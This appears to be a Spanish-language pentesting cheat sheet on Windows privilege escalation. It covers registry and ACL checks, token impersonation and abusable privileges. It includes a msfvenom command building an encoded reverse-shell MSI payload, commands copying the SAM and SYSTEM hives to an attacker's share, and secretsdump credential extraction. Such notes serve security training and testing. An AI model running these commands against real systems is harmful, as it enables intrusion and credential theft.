Elevación de Privilegios

Configuración de servicios

Configuración de ficheros

Usamos el comando icalcs "C:\ruta\al\fichero\o\directorio" para conocer la configuración de un fichero, con 3 posibles modos:

  • (F) Full Control

  • (M) Modify

  • (W) Write

Configuración de registros

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 

Una vez nos aparece como resultado "0x1" (que el bit está a 1, es decir, habilitado) podemos generar un exploit a la máquina víctima:

msfvenom --platform windows --arch x64 --payload windows/x64/shell_reverse_tcp LHOST=X.X.X.X LPORT=1337 --encoder x64/xor --iterations 9 --format msi --out AlwaysInstallElevated.msi

Gestión de contraseñas

Para listar las credenciales almacenadas

cmdkey /list

Para enviar una copia de la SAM

copy C:\Windows\Repair\SAM \\IP.DE.TU.MAQUINA\
copy C:\Windows\Repair\SYSTEM \\IP.DE.TU.MAQUINA\

Teniendo credenciales de la máquina víctima podemos extraer las credenciales con secretsdump de Impacket

python3 secretsdump.py domain/user:[email protected]

Tareas programadas

schtasks /query /fo LIST /v #cmd
Get-ScheduledTask #PS

Manipulación de privilegios

Hay 3 posibles formas de evadirlos y aprovecharlos:

  1. Suplantación/Robo de Token - Un atacnte duplica un token existente usando DuplicateToken(Ex). El token puede entonces ser utilizado con ImpersonateLoggedOnUser para permitir que el hilo de llamada suplante el contexto de seguridad de un usuario conectado, o con SetThreatTokento asignar el token suplantado a un hilo. Esto es útil para cuando el usuario objetivo tiene una sesión de inicio de sesión no de red en el sistema.

  2. Crear Proceso con un Token - Un atacante crea un nuevo token de acceso con DuplicateToken(Ex) y lo usa con CreateProcessWithTokenW para crear un nuevo proceso que se ejecuta bajo el contexto de seguridad del usuario suplantado.

  3. Creación y suplantación de Token - Un atacante con credenciales pero sin haber iniciado sesión en el sistema puede crear una sesión utilizandoLogonUserfunction. La función devolverá una copia del token de acceso de la sesión y el atacante puede utilizarSetThreadtTokento asignar el token a un hilo.

Para saber la configuración que tiene una máquina:

whoami /priv

Una vez sabemos los privilegios habilitados, vamos a ver los más interesantes:

NombreDescripción

SeImpersonatePrivilege

Suplanta a un usuario tras haberse autenticado

SeBackupPrivilege

Da acceso a cualquier fichero sin tener en cuenta su ACL

SeCreateTokenPrivilege

Este token puede ser utilizado solamente si el usuario puede suplantar tokens (incluso sin SeImpersonatePrivilege)

SeLoadDriverPrivilege

Carga y descarga drivers

SeRestorePrivilege

Da permisos de escritura a cualquier fichero.

SeTakeOwnershipPrivilege

Toma el control de un objeto sin que se haya concedido acceso.

SeTcbPrivilege

A través de KERB_S4U_LOGON se puede obtener un token de suplantación a cualquier otro usuario sin conocer las credenciales, añadir un grupo arbitrario (admins) al token, establecer el nivel de integridad del token en "medium", y asignar este token al hilo actual (SetThreadToken).

Herramientas

  • winPEASany.exe

  • Seatbelt.exe

  • PowerUp.ps1

  • SharpUp.exe

Recursos

Herramientas

Last updated